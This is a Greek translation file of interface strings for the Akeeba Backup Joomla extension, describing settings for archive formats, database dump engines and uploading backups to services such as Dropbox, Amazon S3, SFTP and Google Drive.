COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_OK="Επιτυχής σύνδεση στον απομακρυσμένο διακομιστή SFTP. Σημείωση: η ρύθμιση του αρχικού καταλόγου δεν ελέγχθηκε."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_TITLE="Έλεγχος σύνδεσης SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_DESCRIPTION="Το όνομα χρήστη SFTP. Σημειώστε ότι ο διακομιστής SFTP σας πρέπει να επιτρέπει πιστοποίηση ταυτότητας με όνομα χρήστη/κωδικό πρόσβασης."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_USER_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_DESCRIPTION="Το Κλειδί Πρόσβασης DreamObjects, που σας είναι διαθέσιμο στον πίνακα ελέγχου DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSACCESSKEY_TITLE="Κλειδί πρόσβασης"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_DESCRIPTION="Το όνομα bucket DreamObjects. Βεβαιωθείτε ότι έχει πληκτρολογηθεί όπως εμφανίζεται στον πίνακα ελέγχου DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSBUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στο bucket σας όπου θα αποθηκεύονται τα αρχεία αντιγράφων ασφαλείας. Αφήστε κενό για αποθήκευση αρχείων στον ριζικό κατάλογο του bucket."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSDIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_DESCRIPTION="Εάν ενεργοποιηθεί, το Akeeba Backup θα προσπαθήσει να μετατρέψει το όνομα του κάδου σε πεζά γράμματα, δηλαδή το MyBucket θα μετατραπεί σε mybucket. Εάν έχετε δημιουργήσει κάδο με κεφαλαία γράμματα, π.χ. MyNewBucket, αποεπιλέξτε αυτήν την επιλογή και βεβαιωθείτε ότι το όνομα του κάδου είναι γραμμένο ακριβώς όπως εμφανίζεται στον πίνακα ελέγχου DreamHost."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSLOWERCASE_TITLE="Όνομα κάδου σε πεζά"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_DESCRIPTION="Το Secret Key του λογαριασμού σας DreamObjects, διαθέσιμο στον πίνακα ελέγχου του DreamHost"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSSECRETKEY_TITLE="Secret Key"
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_DESCRIPTION="Εάν ενεργοποιηθεί, θα χρησιμοποιείται ασφαλής σύνδεση (HTTPS) κατά τη μεταφόρτωση των αρχείων σας. Αν και αυξάνει την ασφάλεια των μεταφερόμενων δεδομένων, αυξάνει επίσης την πιθανότητα αποτυχίας αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου."
COM_AKEEBABACKUP_CONFIG_DREAMOBJECTSUSESSL_TITLE="Χρήση SSL"
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_DESCRIPTION="Ο φάκελος μέσα στον λογαριασμό Dropbox όπου θα αποθηκεύονται τα αρχεία αντιγράφων ασφαλείας. Αφήστε κενό για αποθήκευση στον ριζικό φάκελο."
COM_AKEEBABACKUP_CONFIG_DROPBOXDIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_DESCRIPTION="Αυτό είναι το Refresh Token που συνδέει το Akeeba Backup με το Dropbox. Είναι <strong>ειδικό για κάθε ιστότοπο</strong> και χρησιμοποιείται για την επανεξουσιοδότηση της σύνδεσης με το Dropbox όταν λήξει το βραχύβιο Access Token. Εάν έχετε πολλούς ιστότοπους, πρέπει να χρησιμοποιήσετε τα κουμπιά Βήμα 1 σε κάθε ιστότοπο που θέλετε να εξουσιοδοτήσετε. Παρακαλώ <strong>ΜΗΝ</strong> αντιγράφετε το access ή το refresh token σε πολλούς ιστότοπους. Αυτό θα προκαλέσει αποσυγχρονισμό της ταυτοποίησης Dropbox και θα χρειαστεί να επανασυνδέσετε όλους τους ιστότοπούς σας με το Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXREFRESHTOKEN_TITLE="Refresh Token"
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_DESCRIPTION="Αυτό ανακτάται αυτόματα από το Dropbox όταν κάνετε κλικ στο κουμπί Βήμα 2 παραπάνω. Εάν έχετε πολλούς ιστότοπους, πρέπει να χρησιμοποιήσετε τα κουμπιά Βήμα 1 και Βήμα 2 μόνο στον ΠΡΩΤΟ ιστότοπο που θέλετε να εξουσιοδοτήσετε. Στη συνέχεια, αντιγράψτε το Token, το Token Secret Key και το User ID από τον πρώτο ιστότοπο σε όλους τους άλλους ιστότοπους που θέλετε να συνδέσετε με το Dropbox."
COM_AKEEBABACKUP_CONFIG_DROPBOXTOKEN_TITLE="Access Token"
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_DESC="Επιλέξτε εάν είστε μέλος ομάδας που χρησιμοποιεί Dropbox for Business και θέλετε να χρησιμοποιήσετε τον φάκελο της ομάδας σας για αποθήκευση αντιγράφων ασφαλείας. Θυμηθείτε να προσθέσετε πρόθεμα στον Κατάλογο παρακάτω με το όνομα του φακέλου ομάδας σας. Για παράδειγμα, εάν η διαδικτυακή διεπαφή του Dropbox εμφανίζει «Acme Corp Team Folder» στη σελίδα Αρχεία και θέλετε να τοποθετήσετε τα αντίγραφα ασφαλείας σας σε έναν φάκελο «Backups» μέσα σε αυτόν, θα πρέπει να χρησιμοποιήσετε το όνομα Κατάλογος <code>Acme Corp Team Folder/Backups</code>, όχι απλώς <code>Backups</code>."
COM_AKEEBABACKUP_CONFIG_DROPBOX_TEAM_TITLE="Dropbox for Business"
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_DESCRIPTION="Καθορίζει τον τρόπο με τον οποίο το Akeeba Backup θα επεξεργαστεί τις βάσεις δεδομένων σας για να παράγει αρχείο αντιγράφου ασφαλείας βάσης δεδομένων."
COM_AKEEBABACKUP_CONFIG_DUMPENGINE_TITLE="Μηχανή αντιγράφου ασφαλείας βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_COMMON="Κοινές Ρυθμίσεις"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_MYSQL="Ρυθμίσεις MySQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_POSTGRES="Ρυθμίσεις PostgreSQL"
COM_AKEEBABACKUP_CONFIG_DUMP_DIVIDER_REVERSE="Ρυθμίσεις αντίστροφης ανάλυσης dump βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_DESCRIPTION="Η απόλυτη διαδρομή στο σύστημα αρχείων προς το εργαλείο γραμμής εντολών pg_dump στον διακομιστή σας. Εάν αφεθεί κενό, το Akeeba Backup θα προσπαθήσει να το εντοπίσει αυτόματα."
COM_AKEEBABACKUP_CONFIG_PGDUMP_PATH_TITLE="Διαδρομή προς pg_dump"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_DESCRIPTION="Μεταφέρει τα αρχεία του ιστότοπου σε απομακρυσμένο διακομιστή FTP, χωρίς προηγούμενη αρχειοθέτηση. Αυτή η μηχανή αρχειοθέτησης χρησιμοποιεί τη βιβλιοθήκη cURL που παρέχει καλύτερη συμβατότητα με ευρύ φάσμα διακομιστών FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_DESCRIPTION="Ορισμένοι κακά ρυθμισμένοι ή δυσλειτουργικοί διακομιστές FTP επιστρέφουν λανθασμένη διεύθυνση IP όταν είναι ενεργοποιημένη η παθητική λειτουργία FTP. Ενεργοποιήστε αυτή την επιλογή για να αναγκάσετε τη βιβλιοθήκη FTP να αγνοεί τη λανθασμένη IP που επιστρέφει ο διακομιστής FTP, χρησιμοποιώντας αντ' αυτής τη δημόσια IP του διακομιστή FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_PASVWORKAROUND_TITLE="Εναλλακτική λύση παθητικής λειτουργίας"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTPCURL_TITLE="DirectFTP over cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_DESCRIPTION="Μεταφέρει τα αρχεία του ιστότοπου σε απομακρυσμένο διακομιστή FTP, χωρίς προηγούμενη αρχειοθέτηση"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTFTP_TITLE="DirectFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_DESCRIPTION="Μεταφέρει τα αρχεία του ιστότοπου σε απομακρυσμένο διακομιστή SFTP, χωρίς προηγούμενη αρχειοθέτηση. Αυτή η μηχανή αρχειοθέτησης χρησιμοποιεί τη βιβλιοθήκη cURL που παρέχει καλύτερη συμβατότητα με ευρύ φάσμα διακομιστών FTP."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTPCURL_TITLE="DirectSFTP over cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_DESCRIPTION="Μεταφέρει τα αρχεία του ιστότοπου σε απομακρυσμένο διακομιστή SFTP, χωρίς προηγούμενη αρχειοθέτηση. ΠΡΟΕΙΔΟΠΟΙΗΣΗ: Ο διακομιστής πηγής σας πρέπει να έχει εγκατεστημένη την επέκταση PHP SSL2."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_DIRECTSFTP_TITLE="DirectSFTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_DESCRIPTION="Μια μορφή αρχείου ανοιχτού κώδικα, βελτιστοποιημένη για γρήγορη δημιουργία και αποσυμπίεση αρχείου χρησιμοποιώντας κώδικα PHP"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPA_TITLE="Μορφή JPA (συνιστάται)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_DESCRIPTION="Δημιουργεί αρχεία κρυπτογραφημένα με τη βιομηχανική μέθοδο κρυπτογράφησης AES-128, σε μορφή πολύ παρόμοια με JPA. Απαιτείται η εγκατάσταση και ενεργοποίηση μίας από τις επεκτάσεις PHP mcrypt ή openssl στον ιστότοπό σας."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_JPS_TITLE="Κρυπτογραφημένα Αρχεία (JPS)"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_DESCRIPTION="Το αρχείο ZIP θα δημιουργηθεί χρησιμοποιώντας την κλάση ZipArchive της PHP. ΣΗΜΑΝΤΙΚΟ: Αυτή η μηχανή δεν υποστηρίζει διαίρεση αρχείου ή διαχείριση συμβολικών συνδέσμων και μπορεί, ως εκ τούτου, να οδηγήσει σε προβλήματα αντιγράφου ασφαλείας. Εάν λαμβάνετε σφάλματα χρονικού ορίου, σφάλματα AJAX ή μηνύματα Εσωτερικού Σφάλματος Διακομιστή, θα πρέπει να αλλάξετε σε διαφορετική μηχανή αρχειοθέτησης και να ενεργοποιήσετε τη διαίρεση αρχείου."
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIPNATIVE_TITLE="ZIP με χρήση κλάσης ZipArchive"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_DESCRIPTION="Τυπικά αρχεία ZIP, γνωστά και ως «Συμπιεσμένοι φάκελοι», που υποστηρίζονται εγγενώς από όλα τα κύρια λειτουργικά συστήματα"
COM_AKEEBABACKUP_CONFIG_ENGINE_ARCHIVER_ZIP_TITLE="Μορφή ZIP"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_DESCRIPTION="Χρησιμοποιεί κώδικα PHP για να παράγει ακριβές dump βάσης δεδομένων"
COM_AKEEBABACKUP_CONFIG_ENGINE_DUMP_NATIVE_TITLE="Εγγενής μηχανή αντιγράφου ασφαλείας MySQL"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_TITLE="Αποτυχία αντιγράφου ασφαλείας σε περίπτωση αποτυχίας μεταφόρτωσης"
COM_AKEEBABACKUP_CONFIG_POSTPROC_ABORT_ON_FAIL_DESCRIPTION="Διακόπτει αμέσως τη διαδικασία αντιγράφου ασφαλείας, σημειώνοντάς την ως αποτυχημένη, εάν προκύψει σφάλμα μεταφόρτωσης. <strong>Αυτή η επιλογή μπορεί να είναι παραπλανητική και επικίνδυνη.</strong> Ενδέχεται να έχετε ένα πλήρες, έγκυρο αντίγραφο ασφαλείας που απλώς απέτυχε να μεταφορτωθεί εν όλω ή εν μέρει. Η ενεργοποίηση αυτής της επιλογής θα διαγράψει τα υπόλοιπα αρχεία αντιγράφου ασφαλείας από τον διακομιστή σας και θα αφήσει πίσω τυχόν αρχεία αντιγράφου ασφαλείας που (μερικώς) μεταφορτώθηκαν στην απομακρυσμένη αποθήκευση. Με άλλα λόγια, δεν σας μένει κανένα λειτουργικό αντίγραφο ασφαλείας. Υπάρχουν ελάχιστες μόνο περιπτώσεις χρήσης όπου αυτό έχει περισσότερο νόημα από την προεπιλεγμένη συμπεριφορά, που σας επιτρέπει να συνεχίσετε τη μεταφόρτωση αρχείου αντιγράφου ασφαλείας μέσω της σελίδας Διαχείριση Αντιγράφων Ασφαλείας. Ως εκ τούτου, συνιστούμε ανεπιφύλακτα αυτή η επιλογή να ενεργοποιείται μόνο από έμπειρους χρήστες που κατανοούν πλήρως τις συνέπειές της."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Microsoft Windows Azure BLOB Storage."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_AZURE_TITLE="Μεταφόρτωση στο Microsoft Windows Azure BLOB Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο BackBlaze."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BACKBLAZE_TITLE="Μεταφόρτωση στο BackBlaze B2"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Box.com. Παρακαλώ διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_BOX_TITLE="Μεταφόρτωση στο Box.com"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο RackSpace CloudFiles.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDFILES_TITLE="Μεταφόρτωση στο RackSpace CloudFiles"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο CloudMe.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_CLOUDME_TITLE="Μεταφόρτωση στο CloudMe"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο DreamObjects.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DREAMOBJECTS_TITLE="Μεταφόρτωση στο DreamObjects"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Dropbox χρησιμοποιώντας το Dropbox V2 API. Αυτό το API είναι ταχύτερο και σας επιτρέπει να συνδέσετε εύκολα τον λογαριασμό Dropbox σας με πολλούς ιστότοπους."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_DROPBOX2_TITLE="Μεταφόρτωση στο Dropbox (v2 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_DESCRIPTION="Σας αποστέλλει το αρχείο αντιγράφου ασφαλείας ως συνημμένο email.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 1-2Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου και εξάντλησης μνήμης!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_EMAIL_TITLE="Αποστολή μέσω Email"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε απομακρυσμένο διακομιστή FTP ή FTPS (FTP over Implicit SSL).<br/>Αυτή η μηχανή μεταεπεξεργασίας χρησιμοποιεί τη βιβλιοθήκη cURL που παρέχει καλύτερη συμβατότητα με ευρύ φάσμα διακομιστών FTP.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTPCURL_TITLE="Μεταφόρτωση σε Απομακρυσμένο Διακομιστή FTP χρησιμοποιώντας cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε απομακρυσμένο διακομιστή FTP ή FTPS (FTP over Implicit SSL).<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_FTP_TITLE="Μεταφόρτωση σε Απομακρυσμένο Διακομιστή FTP"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Google Drive. Παρακαλώ διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLEDRIVE_TITLE="Μεταφόρτωση στο Google Drive"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Google Storage χρησιμοποιώντας το σύγχρονο JSON API. Αυτή είναι η συνιστώμενη ενοποίηση με το Google Storage.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGEJSON_TITLE="Μεταφόρτωση στο Google Storage (JSON API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Google Storage χρησιμοποιώντας την παλαιά εξομοίωση S3 API. Αυτό είναι αποσυρμένο και θα αφαιρεθεί στο μέλλον. Παρακαλώ χρησιμοποιήστε αντ' αυτού την επιλογή JSON API.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_GOOGLESTORAGE_TITLE="Μεταφόρτωση στο Google Storage (Legacy S3 API)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο iDriveSync EVS (iDriveSync.com).<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_IDRIVESYNC_TITLE="Μεταφόρτωση στο iDriveSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_DESCRIPTION="Αφήνει τα αρχεία αντιγράφου ασφαλείας στον διακομιστή"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_NONE_TITLE="Καμία μεταεπεξεργασία"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Microsoft OneDrive ή Microsoft OneDrive for Business."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVEBUSINESS_TITLE="Μεταφόρτωση στο Microsoft OneDrive ή OneDrive for Business"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Microsoft OneDrive. Υποστηρίζει μόνο προσωπικές μονάδες δίσκου, δημιουργημένες με τον προσωπικό λογαριασμό Microsoft. Δεν υποστηρίζει OneDrive for Business και λογαριασμούς OneDrive που δημιουργήθηκαν μέσω σχολικού/επαγγελματικού λογαριασμού ή συνδρομής Microsoft Office 365. Αυτή η μέθοδος μεταφόρτωσης θα ΑΦΑΙΡΕΘΕΙ σε μελλοντική έκδοση του Akeeba Backup. Χρησιμοποιήστε αντ' αυτής τη μέθοδο Μεταφόρτωση στο Microsoft OneDrive."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_ONEDRIVE_TITLE="Μεταφόρτωση στο Microsoft OneDrive (ΠΑΛΑΙΑ ΕΚΔΟΣΗ)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο OVH Object Storage. <br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_OVH_TITLE="Μεταφόρτωση στο OVH Object Storage"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο pCloud. ΑΥΤΗ Η ΜΗΧΑΝΗ ΜΕΤΑΕΠΕΞΕΡΓΑΣΙΑΣ ΘΑ ΑΦΑΙΡΕΘΕΙ. Η ΤΑΥΤΟΠΟΙΗΣΗ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ ΛΟΓΩ ΠΡΟΒΛΗΜΑΤΩΝ ΣΤΟ API SERVER ΤΟΥ pCloud."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_PCLOUD_TITLE="Μεταφόρτωση στο pCloud (ΜΗΝ ΧΡΗΣΙΜΟΠΟΙΕΙΤΕ - ΘΑ ΑΦΑΙΡΕΘΕΙ)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο Amazon S3. Σας επιτρέπει να χρησιμοποιείτε τόσο τη νέα (AWS4) ταυτοποίηση που απαιτείται για νεότερες τοποθεσίες S3, όσο και την παλαιά (AWS2) ταυτοποίηση που απαιτείται για τρίτους παρόχους αποθήκευσης που προσφέρουν συμβατό με S3 API.<br/><strong>Εάν απενεργοποιήσετε τις μεταφορτώσεις πολλαπλών τμημάτων, θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong><br/>Εάν θέλετε να χρησιμοποιήσετε Amazon STS αντί για Access και Secret Key, παρακαλώ διαβάστε την τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_S3_TITLE="Μεταφόρτωση στο Amazon S3"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε απομακρυσμένο διακομιστή SFTP (SSH). Πρόκειται για μεταφορά αρχείων μέσω SSH χρησιμοποιώντας ένα πρωτόκολλο που ονομάζεται SFTP, το οποίο είναι <em>εντελώς διαφορετικό</em> από τα FTP και FTPS.<br/>Αυτή η μηχανή μεταεπεξεργασίας χρησιμοποιεί cURL για τη μεταφορά δεδομένων, μια βιβλιοθήκη συμβατή με ευρύ φάσμα διακομιστών SFTP.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTPCURL_TITLE="Μεταφόρτωση σε Απομακρυσμένο Διακομιστή SFTP (SSH) χρησιμοποιώντας cURL"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε απομακρυσμένο διακομιστή SFTP (SSH). Πρόκειται για μεταφορά αρχείων μέσω SSH χρησιμοποιώντας ένα πρωτόκολλο που ονομάζεται SFTP, το οποίο είναι <em>εντελώς διαφορετικό</em> από τα FTP και FTPS.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SFTP_TITLE="Μεταφόρτωση σε Απομακρυσμένο Διακομιστή SFTP (SSH)"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας στο SugarSync.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SUGARSYNC_TITLE="Μεταφόρτωση στο SugarSync"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε οποιονδήποτε διακομιστή αντικειμένων OpenStack Swift, π.χ. έναν που δημιουργήθηκε με την Ubuntu διανομή του OpenStack ή άλλα ιδιωτικά νέφη. ΜΗΝ χρησιμοποιείτε αυτή τη μέθοδο με το RackSpace CloudFiles! Το CloudFiles χρησιμοποιεί προσαρμοσμένη μέθοδο ταυτοποίησης που είναι ασύμβατη με την υπηρεσία ταυτότητας Keystone του OpenStack (που χρησιμοποιείται κυριολεκτικά από κάθε άλλη υλοποίηση OpenStack).<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_SWIFT_TITLE="Μεταφόρτωση σε αποθήκευση αντικειμένων OpenStack Swift"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_DESCRIPTION="Μεταφορτώνει το αρχείο αντιγράφου ασφαλείας σε οποιαδήποτε υπηρεσία αποθήκευσης που υποστηρίζει το πρωτόκολλο WebDAV.<br/><strong>Θυμηθείτε να ορίσετε μέγεθος διαιρεμένου αρχείου 2-30Mb αλλιώς κινδυνεύετε με αποτυχία αντιγράφου ασφαλείας λόγω λήξης χρονικού ορίου!</strong>"
COM_AKEEBABACKUP_CONFIG_ENGINE_POSTPROC_WEBDAV_TITLE="Μεταφόρτωση μέσω WebDAV"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_DESCRIPTION="Σαρωτής αρχείων βελτιστοποιημένος για αντίγραφο ασφαλείας ιστότοπων με καταλόγους που περιέχουν εκατοντάδες αρχεία (π.χ. blogs και ειδησεογραφικές πύλες)"
COM_AKEEBABACKUP_CONFIG_ENGINE_SCAN_LARGE_TITLE="Σαρωτής Μεγάλου Ιστότοπου"
